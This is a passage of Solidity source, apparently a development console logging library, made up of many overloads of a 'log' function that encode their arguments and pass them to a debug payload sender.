p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function 